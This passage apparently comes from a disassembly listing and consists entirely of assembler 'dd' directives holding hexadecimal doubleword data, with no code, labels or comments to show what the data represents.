		dd 5625A81Eh, 0AFD1980h, 0B29143h, 4A6387DEh, 0B59ABD11h
		dd 0D246B303h, 0A853E029h, 14A4FCD0h, 993C06D6h, 0CD00853Bh
		dd 0B13635A0h, 0C91DDE33h, 4400D23Ah, 8C7A4F8Eh, 7B3905DAh
		dd 0ED5B5h, 485D1CE2h, 0C400D199h, 861296E0h, 398F4975h
		dd 5E0F2201h, 0AD41908Bh, 305AC283h, 6ED2BF1Ch,	320FAF00h
		dd 17E60C8Fh, 20330A27h, 0C2222414h, 0AD0E6200h, 9FF83465h
		dd 5BE400F5h, 9446FC17h, 4D007BE6h, 0DA304EABh,	2C9930Fh
		dd 5FB63110h, 10619D54h, 0F2682096h, 693D20E2h,	742500F5h
		dd 6E23EA4Eh, 28020050h, 2CC74C9Ah, 5901CB9Dh, 7446914Ah
		dd 9A8BD4Bh, 30664D34h,	19AE303h, 80842E10h, 78A73368h
		dd 0A434813Ah, 0AE0050B0h, 0D72006DEh, 2D7A034Ch, 0BB26C155h
		dd 7DB0A498h, 84002CB2h, 96B444B6h, 0DE9B38h, 0BB21F8F2h
		dd 3C9F1DD5h, 0ADB5700Bh, 0B3A020A0h, 1D297753h, 8CB72145h
		dd 4FD88723h, 7F4DB198h, 0EDE8013Ch, 3D132FADh,	0E40BC428h
		dd 90203BCDh, 4550FBE6h, 1A70CE00h, 0FF8E8B9Bh,	1BFD0021h
		dd 0A7BE7D59h, 0CC3E6F2Bh, 619B3026h, 4C6C3090h, 99005075h
		dd 3294E2DCh, 3C00FBD5h, 0EA8636AAh, 3F20A3FCh,	33006BD8h
		dd 0C0E30284h, 0CB4810EEh, 278C006Ch, 68DCC36Dh, 5D3C0C4Ah
		dd 1C6199F9h, 0B8AECD00h, 57768372h, 18516024h,	7F8E8C1Eh
		dd 0B1C01D0Ch, 5D4D153h, 5433A3BEh, 2CB5837Bh, 5624B0A7h
		dd 1D0360BBh, 0F11E9EF7h, 0DB300050h, 4CD5A9D1h, 6590324Bh
		dd 0EB165400h, 18A52CCBh, 4E7005Dh, 3ECDBE06h, 38C052C4h
		dd 1C338E26h, 0C53E8A4h, 20DA4754h, 0D6B03550h,	339E1E0Fh
		dd 44788067h, 1B26108h,	8AA72BD2h, 20703857h, 2FEA7BD6h
		dd 289A1403h, 0D0493386h, 4DE0D1D0h, 200EDCA3h,	546053F0h
		dd 4ABD6B8Eh, 4EA43Eh, 84FEE0FBh, 79263D7h, 16AFA2C4h
		dd 32C73223h, 4A1B45Bh,	611BBEF0h, 4AC610B1h, 52188457h
		dd 0E8A05A49h, 0F0594483h, 40BA7144h, 8B325289h, 108F295Fh
		dd 0A68973F8h, 0DD3BA210h, 0BEB0A571h, 3C9EA012h, 7028F880h
		dd 538C0076h, 4C277969h, 0BBF219FAh, 917FF30h, 9B97045h
		dd 0D66748F1h, 0B2C3FF80h, 0F000FCF5h, 8F782BB1h, 459160h
		dd 924CA7Eh, 3239819Bh,	0D6A3B512h, 0F2F0F080h,	2F2200E1h
		dd 5F789B10h, 6658BB44h, 354103BEh, 0F86F12F9h,	791325D0h
		dd 56A1FE0h, 988D95D9h,	0DC011903h, 0E8E1EEC1h,	0F8DC244Ah
		dd 2D1F3100h, 7398746Bh, 28E000DCh, 189AC7DDh, 8C1EB624h
		dd 0E342705Ch, 6BFD85D7h, 8411D5E8h, 268300C4h,	12B95A3Dh
		dd 862A12BEh, 9F44077h,	75C04B1Ch, 0E40395FEh, 91C79A0Bh
		dd 58F68F9Eh, 31090058h, 0A63AF5D3h, 10005322h,	0D1A0C477h
		dd 3AE0B156h, 0C8807ACEh, 6A3EA178h, 0B301337Bh, 648A6622h
		dd 0C8804921h, 2D60D320h, 0EA188D81h, 9518105Eh, 8E730091h
		dd 4401BD05h, 2000DE94h, 23DF0CB3h, 72DB5DCh, 8FE02B5Eh
		dd 0F6C1927Ch, 757D481h, 5BA8CF53h, 0F501C95Dh,	0CCAAF770h
		dd 0A8C86029h, 0A74100EEh, 9EA93D09h, 0C000D4FCh, 0F3EAD715h
		dd 9A42FBh, 0EC4AAD5Ch,	0A1871E29h, 11021400h, 0AB6D4328h
		dd 753B122Dh, 0A91EEAh,	3238F31Ch, 4C008F11h, 0F154F574h
		dd 24E70h, 0B8734D2Fh, 0F4C3CBECh, 3638180Ch, 7F2056h
		dd 0ACA17CF3h, 9AFD8EBFh, 3D8C3D49h, 1FC89C72h,	8F6A9D09h
		dd 911E2078h, 0F53F77h,	0F64043A3h, 1845C3FBh, 0F20004E6h
		dd 0A5646366h, 3FE73E39h, 74038105h, 247FE96Eh,	4C59A288h
		dd 0F5D19508h, 17B6009Bh, 369CCD3Dh, 0B3286104h, 5D815F2Eh
		dd 11D8633Eh, 3168002Bh, 0D5AF1D88h, 0B0301701h, 0EBD709D1h
		dd 0D88D0028h, 0ADCE25EAh, 55872D3h, 0E36F0244h, 50E68E2Ch
		dd 313F0E48h, 0B1608751h, 0FF1DE8CEh, 4ACB9C00h, 37C7DABBh
		dd 6D780295h, 73A4D977h, 0F09108E0h, 9443848h, 1422D0Fh
		dd 51F52814h
		dd 66874074h, 0FA052876h, 0DD96101Ch, 68379141h, 2880A597h
		dd 5A86E01Bh, 82F43335h, 0A1FA6FCh, 4A469359h, 5E799Fh
		dd 2AABF0ACh, 0A753627Eh, 0E0BD3C00h, 80C63DCCh, 781F3CBBh
		dd 9C7B420Ah, 0D312019Ch, 0D81649C0h, 0EF0054C5h, 0F14EC3C9h
		dd 7AC7E1h, 7DCCA6ECh, 716A796Bh, 30D3663Bh, 0D07B099Dh
		dd 806950C5h, 0E1BA05C2h, 1044F32h, 5887539Ch, 5AE06482h
		dd 0F8991B09h, 7C82F59h, 22D0EC8Eh, 47A824Dh, 85A644FAh
		dd 93E28252h, 96E57F60h, 4523041Dh, 409059CEh, 24A621B4h
		dd 317C9Ch, 0E14A0574h,	45C9F12Ah, 2D984C00h, 6F428EE2h
		dd 3B281C0Fh, 67108111h, 83BB145Dh, 49680D98h, 0AD92C086h
		dd 8B750043h, 625F996Ch, 0B1B02E7Dh, 6C96C726h,	0AC21B700h
		dd 95F898h, 3EE62A1Eh, 89298B73h, 85FE8C26h, 0C4A19700h
		dd 796C631h, 0D3C9CBF6h, 7D67301Ch, 4801B08Eh, 0F2475080h
		dd 8ECBA92h, 6CEC0AEAh,	0D888A4h, 4E100A22h, 0B900C070h
		dd 32B1E4BDh, 7CAD8D0h,	392CB336h, 0EEF1505Eh, 5718A923h
		dd 8929C0F9h, 0B0B479EBh, 3510C0B5h, 6E11F275h,	0E58F6500h
		dd 66341B26h, 25E700FBh, 1ED00B84h, 0AF001406h,	40830923h
		dd 1D9277h, 690C98F2h, 5029C9EBh, 44679900h, 0F8BFE102h
		dd 76B707E9h, 0F76F08E7h, 0D2A4C0FFh, 0B901F7B3h, 6480EE03h
		dd 0FBDCBDDDh, 3FD30013h, 40D611A5h, 6A1344A0h,	4CCD4E3Bh
		dd 0A927D8h, 0E17C338Bh, 3701CECDh, 6DF8E00h, 54E3E88Ah
		dd 0A79212E5h, 2FA300EFh, 77179FABh, 0D46A9330h, 56F0185h
		dd 0FA4096ADh, 950090A6h, 9C4851E7h, 6EF916B0h,	2923841h
		dd 3C20B26Ch, 0B0C0099Dh, 0B8084849h, 1FC900CCh, 466DDDCh
		dd 7909AC13h, 36A24C07h, 0E8615950h, 0E02D0483h, 0C0E6D5F9h
		dd 0DED9CD84h, 0D30F7707h, 690C867Bh, 2A990948h, 68404770h
		dd 5100A444h, 55903EE1h, 0A11ADDh, 0E799E456h, 19F103A8h
		dd 0E904C650h, 0DC17F21Eh, 6520F9C3h, 0B5CC904Bh, 0CDE500F7h
		dd 5452CAD4h, 81009633h, 7962833Bh, 0F6642A1h, 16EDE291h
		dd 29A40052h, 6A080388h, 6652E00h, 0E82CAEBDh, 6B77B0h
		dd 6266E2A6h, 0B89253D5h, 2AF95F1Fh, 0E80E4AFBh, 819840FAh
		dd 9DD1FDh, 9BD2166Ch, 0BFD9F946h, 0CF155200h, 819455C4h
		dd 3E690612h, 97513DCh,	0CDC88316h, 0B2CA3880h,	45EA27D9h
		dd 7F4B5000h, 0A2598E60h, 5B2B000Ch, 2A4A68E3h,	5CA87495h
		dd 4C0040A1h, 72396A45h, 4800E7C8h, 710F211Eh, 0AD8286h
		dd 30D3BBFEh, 57604708h, 8ECF1907h, 1700C1C9h, 26CCE9Dh
		dd 9BF3A477h, 30529247h, 267B2C02h, 51DBD1CFh, 56C70E14h
		dd 4B157C68h, 2C1E8810h, 92B880F0h, 6ABA7683h, 0B9E881E8h
		dd 22F11E25h, 81C1D2A0h, 3386241Ch, 88026F5h, 0C799D747h
		dd 18756CEAh, 81FDF300h, 6F53A8D2h, 864F1EECh, 8E014F0h
		dd 0BC7E3702h, 5B618382h, 3F98509Ah, 0A4945BD8h, 16339E01h
		dd 49E88E8Ch, 0C0A60712h, 0FF5DA759h, 667EC4C1h, 0E9028A2h
		dd 28D1264Ah, 8F164D9h,	54230E8Ch, 0C61D8580h, 38A3165Dh
		dd 0B8D8E6AAh, 240033F0h, 0F7D53B7Bh, 17DB9A69h, 171B19CAh
		dd 545C0193h, 0CDF228DAh, 37419E44h, 7B345E00h,	0B8C60A0h
		dd 178E1C23h, 125DE581h, 392980AEh, 88556828h, 7CF572D4h
		dd 0D3AB18ADh, 19742190h, 840A60Ah, 0D4036073h,	0E162241Ah
		dd 87F064BCh, 837D12h, 7B7ACC35h, 9F9E117Dh, 86A02F7Ch
		dd 0C75FD6ABh, 0C6BD5406h, 0D8970008h, 9F9D4E98h, 0E4A846D2h
		dd 5B0E7903h, 606B3C70h, 0FD56475Dh, 0CAB04EEh,	809D606Eh
		dd 0F458DBCEh, 68094A00h, 0D1E42840h, 477528D6h, 0A7C72AD0h
		dd 0FBBB009Ch, 2C10A95Dh, 0CA0FD1DAh, 403F2693h, 7C8E8DEBh
		dd 0A9BF301Ch, 0E0111DD9h, 0C7007EE4h, 0F7578BE7h, 2363570h
		dd 0CEEDA617h, 0CFC0D2B5h, 9D00A33Bh, 0ACCFFCD9h, 2027ADh
		dd 0B5F01EB3h, 4B943186h, 7BCE1500h, 1B426C23h,	0EEAA1245h
		dd 341667h, 92518BD5h, 0BD726F80h, 311781C0h, 246459CFh
		dd 0E0509Eh, 6672A62Ah,	4218C2DCh, 0A4D9B3C6h, 0FAD4FAD5h
		dd 3E620A05h, 3E4502Bh,	0A1BED3D7h, 8CDF40BFh, 5E7C77B7h
		dd 9EB8EB66h, 31AC1569h, 6F12B824h, 0CC30A4BEh,	3C9A8500h
		dd 12664568h, 0C6D800C4h, 40F8F6FBh, 29C3A019h,	0E708503Ch
		dd 7C947DD7h, 0EA221490h, 2362001Bh, 0AC72500Fh, 7500F65Ch
		dd 114057FFh, 122F29A2h, 4042BE18h, 32B23800h, 65013139h
		dd 9CCE0A8Dh, 0C070E0C8h, 0ADA80043h, 82D1B737h, 0B3054D7Dh
		dd 9F0A2883h, 227015C0h, 0EB580041h, 0FAD330C3h, 1D025EDCh
		dd 0BFC967CBh, 0D16E6007h, 82ED3F3Ah, 0C5805A39h, 54E15BADh
		dd 24008FF7h, 276C1D5Fh, 0D3B2578h, 0B67E0504h,	4BB4F170h
		dd 0AC0FEB04h, 0BF8346B9h, 180063C7h, 0C0A87F59h, 1D94ADBBh
		dd 1C83D3E8h, 0F3ACC003h, 183472BEh, 0A860B40Dh, 12CE29AAh
		dd 29217463h, 0AD22087Eh, 0D84DC90h, 428A4868h,	0C824BF5Fh
		dd 1266D021h, 0C3071096h, 40060488h, 6A440CD4h,	422284C2h
		dd 5F022C5h, 226E2F22h,	782235CEh, 280C50BAh, 0DA564461h
		dd 913414A0h, 8E083889h, 84E65C44h, 4290A722h, 5BF11134h
		dd 11361211h, 84769353h, 425A3822h, 95FC111Eh, 70C97C30h
		dd 0D574128Eh, 8B9D75C0h, 166FEE19h, 1DEA1E1Fh,	0FAE940DEh
		dd 0CD88A13Bh, 0E0860E38h, 0CD75C09h, 0DA6307C0h, 0F03841A5h
		dd 33E42012h, 0B3000D7Ah, 1E1C1D9Dh, 1BE98Dh, 0BB4A9715h
		dd 0B7640A3Dh, 80732C3Dh, 0C66BAD02h, 67CD74h, 0D1D25B6Dh
		dd 0BFC826C2h, 84EA30F1h, 25C73202h, 40D0EC46h,	8BF538h
		dd 0F214D92Ch, 0B7DDA9E2h, 0B536B618h, 81C2D48h, 0B49BC90Eh
		dd 79D8F500h, 80292E21h, 630BDE8Dh, 808927DFh, 79BAABDh
		dd 0C911C091h, 90046E21h, 8007092h, 886530BFh, 0ECC5BBh
		dd 58DC5276h, 0E1F1F964h, 2D7CCE01h, 10DF0178h,	353D330h
		dd 0A3A519A7h, 0F4881D57h, 0C70ECDF9h, 4073851Ah, 0E0A10CE3h
		dd 780984Ch, 53EA24FCh,	6FF2F065h, 0EE019970h, 2A5E6A71h
		dd 7C13BF6h, 59A30h, 0FC93D8EAh, 4B135F2Fh, 26F08560h
		dd 0DD6AB1h, 0C1B068BEh, 8F10D716h, 99842500h, 33396203h
		dd 5F500076h, 3E41112Bh, 9000CC40h, 7D748898h, 0EA1D87h
		dd 0DC7BF624h, 3CD0FA92h, 0AA203E00h, 504A8284h, 87F41D35h
		dd 43813FA8h, 0E48EFB01h, 7FC840B3h, 201C1F55h,	0BAFA5485h
		dd 691E007Ah, 75425C7Bh, 4B491877h, 8993A74h, 9655C20Ch
		dd 220914h, 17944FCCh, 0F8B94CCBh, 0B0886B00h, 0C2855C7Ah
		dd 55480383h, 4D821718h, 0B6CA6800h, 0A67BCD70h, 531B38BDh
		dd 4896B903h, 5880655Dh, 0B305DBCAh, 1B433C2Eh,	6F4DEC00h
		dd 506AD9Ah, 4257A89Fh,	0FB349002h, 50712349h, 3F186148h
		dd 6239125Bh, 3F670840h, 9114F988h, 870C0160h, 400FD75Bh
		dd 2CB2D2D0h, 82BA9900h, 20142769h, 0F9D90059h,	0E74AF52Eh
		dd 4B1FBC38h, 9B49CAC7h, 930C00ABh, 705F16Eh, 8069DEC6h
		dd 7C6A401Ah, 0A801B2AEh, 0C4FEB0E5h, 48809DCBh, 0BCB435C3h
		dd 67B00C11h, 67729200h, 0BD3A5F28h, 0D0E00E9Fh, 4C002EB9h
		dd 0CAC5DC7h, 0D8764100h, 1D341E91h, 0A37F39F3h, 0AAEBE0E5h
		dd 80D91181h, 1943E0h, 8EC33220h, 0C068A1A0h, 834B860Eh
		dd 49C0BD1Ch, 0C827111Eh, 807C070Dh, 7169B42h, 0B805507Bh
		dd 0B600FE5Ch, 0CDBBB76Ah
		dd 0C1B314h, 7A552AA2h,	7FCB2591h, 210BF198h, 74DABA4Eh
		dd 40961F28h, 79A85597h, 6D00B086h, 0A98BF4F2h,	0FFF3CC5h
		dd 0A3294738h, 704FABC0h, 4C0082BDh, 638B9A92h,	0E8CA998h
		dd 8AB18D62h, 4E918FA1h, 0F78EF868h, 8266700h, 19ED7EAEh
		dd 98A60ABh, 0A8947780h, 89968100h, 0E541C3FDh,	0BBA924AEh
		dd 496600E4h, 0EC423B64h, 38A1FF00h, 0E7022C7Eh, 272D0F06h
		dd 148183DEh, 2057A9C6h, 0E600EC55h, 8FF05DF9h,	60302Ch
		dd 0E052A1E8h, 23BE4567h, 0EF38DA0Eh, 469E83EAh, 631EB092h
		dd 0E5A9148Dh, 0A703CB1Ch, 0B52B0A2h, 0B10C59C0h, 8BEC8E00h
		dd 0F1DFE51h, 2C400770h, 90F67E8Ch, 283735C7h, 0F103C31Dh
		dd 4B89EE40h, 0B906216h, 0E7E14DEBh, 519A8680h,	15007972h
		dd 9E701755h, 0C4C359h,	0D845522Eh, 0B9F58CDFh,	0AA50C00h
		dd 0ED57581h, 9EE200AFh, 82E16EC0h, 93007E90h, 18858F04h
		dd 907B7CE4h, 0EF8E0054h, 959ADA1Dh, 190ED91Fh,	6378C18Bh
		dd 76A6FEh, 0FC55AC09h,	155C73A0h, 5168422Ch, 62E42D07h
		dd 0EE07DA90h, 0F475008Fh, 0A452D506h, 3400B384h, 40AABC11h
		dd 1EBB6D76h, 40E819DEh, 577EB0E1h, 41008963h, 788E2D5Ch
		dd 778F1EB1h, 4E8600DCh, 67650D6Ch, 0A707878Ch,	74AE41B3h
		dd 82E216E0h, 96431D0Ah, 0DCA38027h, 0B8F8D9A7h, 152DB00h
		dd 1FAA3A2Ch, 0EE910016h, 5D04BD7Dh, 0B600A394h, 3D7ED4F6h
		dd 30FEBEBAh, 0B0F4D29Fh, 0CD001C3Ch, 4578AE3Bh, 3F88DCDDh
		dd 4B00A698h, 0B4C0F2D6h, 5C046E37h, 0DE24237Ch, 0E129C680h
		dd 79CF3C6Bh, 3478DD01h, 41707531h, 20D658B8h, 2D005790h
		dd 33641BE0h, 5615E2h, 62F1E5B7h, 0E1F0E72Eh, 10596501h
		dd 0E5DD324h, 0CE140980h, 0D11B5833h, 80F12C02h, 8134A968h
		dd 0FA2A4B8h, 6400FB0Ch, 0D37D07B6h, 14261240h,	0EE166833h
		dd 0E8E5F600h, 481457DFh, 1F933738h, 0EAC0CC28h, 0D142E423h
		dd 795F26B2h, 75100053h, 269AE37Eh, 21204B24h, 5BAB5400h
		dd 0A762418h, 85B42A07h, 41A700D4h, 6D42BEC4h, 0EDF0111Ch
		dd 0A2E6EA80h, 908277CDh, 9A270092h, 0F122B4F5h, 601C8C1Ch
		dd 331F0ED6h, 745F7F80h, 0DFA39Ch, 0B212D8A8h, 0EF0D2BC6h
		dd 0BE4CA207h, 0BFA05A65h, 3266E6h, 788A85D1h, 3157AA82h
		dd 5C2F4500h, 0A62E4A30h, 0E6F8000Bh, 203B4DC0h, 4C2C5DF0h
		dd 0FC008913h, 55F966Dh, 85D33D69h, 0C96B9Dh, 5CC56707h
		dd 48076208h, 8FA68974h, 2E889373h, 2EA209h, 0E417E991h
		dd 0C301CDF6h, 0AF38EAFh, 9DC0C7EBh, 7309002Ch,	0D998AD06h
		dd 0C800446Ch, 620A5496h, 0E2477B74h, 0C75C0018h, 8D83D952h
		dd 20159FCh, 0C81C6276h, 0BC42B1DEh, 13FC801Eh,	1F85E856h
		dd 40382C45h, 0C99F1118h, 5B980BB6h, 2409BC80h,	1BA0E607h
		dd 8A805ADFh, 0DC1A85h,	0FEC697D5h, 5CABE0BCh, 0F8620E01h
		dd 0C3A2FC09h, 9A8CDCh,	3A84CBBEh, 140B8D88h, 0FD7C3501h
		dd 5704C3B3h, 5C3FD730h, 0B900C650h, 0ECEA8D70h, 0A8748861h
		dd 417BA21Eh, 2C7C9D46h, 0B535000Ch, 0AFC79AFDh, 13013332h
		dd 8CE70FE2h, 9D404AFAh, 1FE64BEDh, 8745F397h, 2021EF9Bh
		dd 759CEE98h, 780E0B0Ah, 0FC8004EAh, 4C1E879h, 0A6F1287Dh
		dd 0C76E1687h, 0D8E40441h, 3FD8C0DCh, 1B0024A1h, 0ADAF3ACEh
		dd 7157345h, 6AF90FA5h,	50993021h, 3E000864h, 0FB68D04Ch
		dd 9D16F8F5h, 0BBC18E0h, 0C9AFAA01h, 9B640A7Fh,	3C1C5DDCh
		dd 75BFF75Bh, 2A406E00h, 0E2DAEFD3h, 0F2843613h, 0CCB13D01h
		dd 0BC204D91h, 0BF303881h, 39335880h, 5D409BE9h, 2D5748h
		dd 6C97371Eh, 1FE1546Ah, 0E2C317h, 43C6BBBEh, 621EFC20h
		dd 0EF8025B4h, 7013959Fh, 0E2914FDh, 0ED2EF019h, 143800D7h
		dd 3D22ADABh, 481D5E98h, 6C0028CEh, 5958A6FFh, 0E01500C0h
		dd 0C24F9C11h, 0C6302B0Ah, 5ED029C9h, 27200FFh,	0B8680D3Ch
		dd 0BA1DB796h, 3081C8CCh, 0AAE77638h, 792220h, 0B28DC457h
		dd 0BB33A28Eh, 0AE000771h, 94842AB6h, 8AD379h, 323AD193h
		dd 253F744Dh, 28839903h, 98700390h, 0B0B96397h,	863E03ECh
		dd 7D446FFFh, 0D0396E81h, 3B1E38FEh, 37C02285h,	0BA432B7Ah
		dd 0C5AEA33h, 56768681h, 0B397409h, 0A658080h, 0ADC7197Dh
		dd 0ECB35811h, 52E2F500h, 22165FA8h, 400C2B0h, 31E32164h
		dd 0E6DDBCECh, 0CD74002Ch, 0F9A63765h, 0E90001BBh, 2731F88Ch
		dd 0B1B543h, 4C2062DCh,	0ABF2F95Eh, 0E349421Eh,	488BE080h
		dd 672F96h, 0A3CD7B08h,	0A0721CA5h, 0CE9FA90Fh,	0BC0E84B5h
		dd 35FB4880h, 0CAB0004Ch, 527FF1ADh, 607F2406h,	8E4FFC00h
		dd 0E03B4B23h, 26A60120h, 38165912h, 2087E543h,	9C1FDFB6h
		dd 0E5C0E974h, 63C81736h, 0C5C224C9h, 8133007Ch, 0DC287913h
		dd 0ADB3E600h, 99AABE7Eh, 37CE00B2h, 19685C11h,	2F05BC66h
		dd 6AB92163h, 0F1A43C80h, 0A3D9001Eh, 0A0D823F0h, 0B20E25EEh
		dd 0C72A7AA2h, 0ED47E99Eh, 8C3D00A9h, 6E9A7258h, 12E2098Ah
		dd 9868D470h, 41753435h, 3C3258h, 1EBBE668h, 1EBB221h
		dd 156C4649h, 51AACA2Eh, 0FCD47EC0h, 30C030E6h,	7B8467C8h
		dd 0C5730CB6h, 0E75A1B61h, 5BCD305h, 0A440DDFDh, 98F688FCh
		dd 0A110C0DCh, 8353D7CBh, 0DD01B498h, 7505E28Eh, 0B1F0B890h
		dd 61976064h, 0C4A9371h, 73A1C60Eh, 7AA800BEh, 14370F64h
		dd 883A3617h, 0C7004C3Ch, 0B7D9F971h, 89013EAFh, 0FEF1E306h
		dd 1180911Bh, 0F40AADBBh, 2C0E96F7h, 57FF156Ah,	2B2F3500h
		dd 0D2A476h, 8D1442B6h,	49FE236Fh, 0C10B20Eh, 805B6069h
		dd 6D3BBADh, 2103763Eh,	1E001081h, 70CE162Eh, 4A2BA2h
		dd 2F29436Fh, 15D61028h, 0DE6EA328h, 3196E809h,	0C0508E20h
		dd 64C2B286h, 7314000Eh, 0D4EEA702h, 0CA004662h, 0FD9F3F38h
		dd 6EA368Eh, 0C37B8714h, 0BA3920EDh, 0A0EF00DDh, 5B825574h
		dd 21860026h, 6629B05Ch, 0D41CF825h, 9440A189h,	192A8223h
		dd 0DD3300F9h, 0CA9D04BEh, 0E0034E3Ch, 0E9F4FB8Dh, 61EBD0D7h
		dd 0E35E0E2Fh, 1120BD75h, 58C837B2h, 25B41750h,	1B6FD100h
		dd 0A39C285h, 0E0B950CBh, 10CF0002h, 3D200587h,	0F60350BEh
		dd 0C7787F8Dh, 0B58EE066h, 0E44201F2h, 4EE9B99Bh, 43F460CFh
		dd 34011400h, 9DACFE4Ch, 82C9073Ch, 9BC410h, 49773A91h
		dd 8AF2E60Eh, 4E2DE095h, 304ACDBCh, 697E51E3h, 6C2E55E5h
		dd 0FD01E461h, 5E6650F2h, 0ED00D9BDh, 40C739E2h, 3F2EA31Dh
		dd 10014648h, 0FB60976Ah, 71E39AD0h, 0FA31077Ch, 0D7DF3A17h
		dd 6382A04Dh, 503981ECh, 7B6700C5h, 0F86DD71Ah,	717F78h
		dd 2D7218FCh, 4926EF44h, 0CCF87050h, 0A7E5F000h, 0F516954h
		dd 840100C0h, 5A1C2A80h, 7D04435Ch, 16297EF5h, 87E82F80h
		dd 3C194C24h, 13AE5B3Ah, 5D6407F9h, 80F1C565h, 0D00CBB67h
		dd 0DB6BD600h, 0EE0F2A28h, 7EA87214h, 6D650B4Ch, 0AC825F25h
		dd 0ADC0D5FBh, 0B400DC51h, 2B03010Dh, 127080Fh,	9F30BE47h
		dd 80795625h, 43AF8019h, 3DC196Ch, 0F1746D94h, 100EBAA4h
		dd 40F7E084h, 5B0351C1h, 2D3700B9h, 0EE68D5D0h,	1F072B02h
		dd 0A1AD15DBh, 4A3AD921h, 30ECE2C0h, 0C021B995h, 0D1DF96Eh
		dd 4C56D84Bh, 706B3800h, 0F6ACA0h, 0FC4DC5D2h, 0DFD55972h
		dd 8EE0E900h, 213B9AAAh, 81680038h, 80064857h, 8C03C458h
		dd 0B8DC29F6h, 7C07C886h, 2AB3001Eh, 418B951Fh,	9B00FBC3h
		dd 15BD0EC4h, 47E7AB5h
		dd 818C2D6Ah, 1F8080B2h, 0EC92434Eh, 698E7601h,	21B89F13h
		dd 0C811F08Fh, 3D231DC0h, 18095404h, 87B1DB3Ch,	0CF90760Ch
		dd 7B4457Bh, 892434C0h,	9A6B534Ch, 2D81A6F0h, 0C8B1BF13h
		dd 0B21FD800h, 0F4177259h, 7D773D6Ah, 263E6D80h, 296328B7h
		dd 0C2B30403h, 0D03F3672h, 80B4BCh, 76118B8Fh, 0C1F640FEh
		dd 476CC413h, 77356C40h, 0F8F3FDh, 9596D984h, 0DB171F27h
		dd 58A50826h, 29C9C24h,	0BB516840h, 0F2596FDDh,	5DF902E7h
		dd 99A3A98Dh, 23F6D840h, 26026898h, 30624B1Ch, 0AFE8E04Ch
		dd 9DA01C0Fh, 0D8714060h, 0A6987B50h, 0CE37C200h, 51C33840h
		dd 339EABDh, 715A1782h,	64883D4Ch, 68987D7Ah, 1A111900h
		dd 69E4DD1h, 4E2A0F83h,	8C809F49h, 0EA237A44h, 1FBF9413h
		dd 2375800Fh, 80E8E445h, 21821B4h, 57AD38B2h, 7460EF9Ah
		dd 0B6E4B393h, 18D87B3Bh, 7146A787h, 757E00B7h,	0C8BA4761h
		dd 6F00D698h, 626DC249h, 5078F5h, 31FC3E42h, 18403A10h
		dd 0B50F841Dh, 30138313h, 92552400h, 3F0E28A0h,	0B451BC6Eh
		dd 0E97EDF0h, 98DD2BC7h, 96E560E0h, 9AF062D0h, 0E25EBC01h
		dd 0BBE1CEA3h, 1E187029h, 0A2D909DBh, 0CE1CE800h, 9F91DDA1h
		dd 0B6892E65h, 1A8D0068h, 0A7792DBAh, 1343D8A0h, 7DF9DA00h
		dd 221E6177h, 1EA5F0E4h, 40C79CC0h, 0C66321B6h,	0F2023080h
		dd 1F821A04h, 7E48505Eh, 2890A0C5h, 6E9048h, 353BBA66h
		dd 0BD302678h, 0AB13310Bh, 2004809Eh, 0BFD46CEh, 24B53993h
		dd 64CCC98Fh, 0CF12AF40h, 181E416Bh, 0B291ED00h, 9EBA0D53h
		dd 8E270130h, 0E170B639h, 67F1D9h, 63ADE0h, 6854DF94h
		dd 6AAB0B73h, 3E00DDF4h, 45E9A96Eh, 16CA86Fh, 3CC8D8DEh
		dd 80C6D6AEh, 0AC469C09h, 24CA410h, 7DF89145h, 0F4C01C31h
		dd 782E2A2Ch, 2E853C1Dh, 8400B7FEh, 0CDA1DBBCh,	985F00ADh
		dd 1964B0E3h, 4100FE77h, 7EBBAE94h, 0B027A303h,	0C4964C58h
		dd 97E8E304h, 0C45CC3BCh, 0CFD8B8B3h, 0D03B4693h, 8E35BE48h
		dd 2006C6BDh, 33AFB1D2h, 67B50002h, 0FC56107Eh,	0CD004BB3h
		dd 1CC30136h, 0E0556Dh,	52CE4765h, 963990F3h, 1C504F58h
		dd 8870C316h, 0BC590Fh,	9DE7F0CAh, 0D31D93F5h, 5BB22A00h
		dd 0E80A9552h, 41780020h, 0AC8CF311h, 0DA4CC20Ch, 51320134h
		dd 0E950CCF1h, 60B72DF4h, 0C1A1EE3Dh, 0C3002616h, 79D342F4h
		dd 257C56h, 0E2E4641Eh,	0E6C2D82Fh, 88FCF6EEh, 0AE0091FEh
		dd 1CEEDD4Fh, 60A7BDAh,	0BE8060D5h, 0A705403Fh,	70F4ED5Fh
		dd 592B4040h, 8363A1h, 1A15808Dh, 3E301217h, 54714603h
		dd 90B88EA5h, 3AC3DBFDh, 0BE017B02h, 657E8207h,	0A787773h
		dd 9E44631Dh, 0BB4D1F00h, 0B061B6D9h, 6CAD0165h, 156B5E26h
		dd 3054E143h, 684CB840h, 3FB60048h, 65734A25h, 0E869FA33h
		dd 487727h, 0E7BF283Ch,	2F85AA94h, 0B4B3E93Bh, 0C098082Eh
		dd 701648C3h, 0F386CF00h, 60A70B0Ah, 13F925h, 256E7D00h
		dd 0D8E20082h, 4EB6C83Ch, 0CD078162h, 96DAAB4Ch, 0A885E0B0h
		dd 41DB002Dh, 5ABE1BC8h, 7C0E09B3h, 0A06730B8h,	0F2F71DA9h
		dd 1620090Ah, 0B4C07F60h, 8B240E18h, 11050D94h,	3DC03A2Ch
		dd 4045F1Fh, 0E98F9DF3h, 5EB8C24Bh, 784A800h, 74380122h
		dd 0A77CB647h, 0A3A8873Dh, 0BF4042B4h, 159546h,	9CA1E6B0h
		dd 0D1FFE51h, 0D04BAE16h, 1B8D64C0h, 0A17B000Eh, 2E0256C7h
		dd 0E30EE2D8h, 40696054h, 173A120Fh, 0CBDA0775h, 91F1EF45h
		dd 0C02D1D72h, 4100BEF6h, 0C78E7D30h, 6F0D8Ah, 4E6BAC9Eh
		dd 463238BAh, 8C00F24Ah, 0F4CB09ECh, 0FDFC83h, 0FB193AD5h
		dd 4B656F48h, 10427500h, 539FF8D7h, 3F070F59h, 0BDC1191Fh
		dd 0C07795ACh, 0A759E62Dh, 4A4C6Ch, 0B41F758Eh,	7101341h
		dd 0A72484F5h, 0F081C42Dh, 3BF088A8h, 66E06454h, 0F6007BF4h
		dd 2D4A1739h, 71B02C0h,	41A5840Ah, 5CAA011Fh, 648C40B9h
		dd 1200AE04h, 2B2C9D05h, 0F26EA516h, 495B02D7h,	39D3371Bh
		dd 668CA4C5h, 6013A06Ah, 0CB48906Ch, 210C3F38h,	9904D2ACh
		dd 3E2F14F5h, 0A400E493h, 0F9593287h, 0AF3EAB75h, 0BF4D8056h
		dd 72F1D8D9h, 38CA5C7Ah, 0B58A263Dh, 80A8A083h,	1EEFB09h
